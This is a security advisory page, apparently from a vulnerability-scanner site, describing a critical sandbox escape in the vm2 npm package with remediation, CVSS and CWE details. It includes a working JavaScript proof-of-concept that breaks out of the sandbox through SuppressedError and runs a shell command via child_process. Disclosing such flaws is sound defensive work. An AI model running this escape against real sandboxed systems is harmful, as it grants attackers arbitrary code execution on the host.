Loading...
Skip to main content

CVE-2026-26332

CRITICAL

VM2 Has a Sandbox Escape Issue via SuppressedError

Published May 5, 2026Updated May 5, 2026Source: osv

Summary

In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code. ### PoC ```js const { VM } = require("vm2"); const vm = new VM(); vm.run(` const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:child_process"); execSync("echo pwned", { stdio: "inherit" }); } `); ```

Remediation

Upgrade to the fixed version using your package manager.

npm
Update vm2 to 3.11.0 or later
npm install vm2@3.11.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
vm2
npm
All versions3.11.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-693
    Protection Mechanism FailureMITRE
  • CWE-94
    Code InjectionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-26332?
VM2 Has a Sandbox Escape Issue via SuppressedError This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-26332?
CVE-2026-26332 affects vm2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-26332 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-55hx-c926-fr95

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies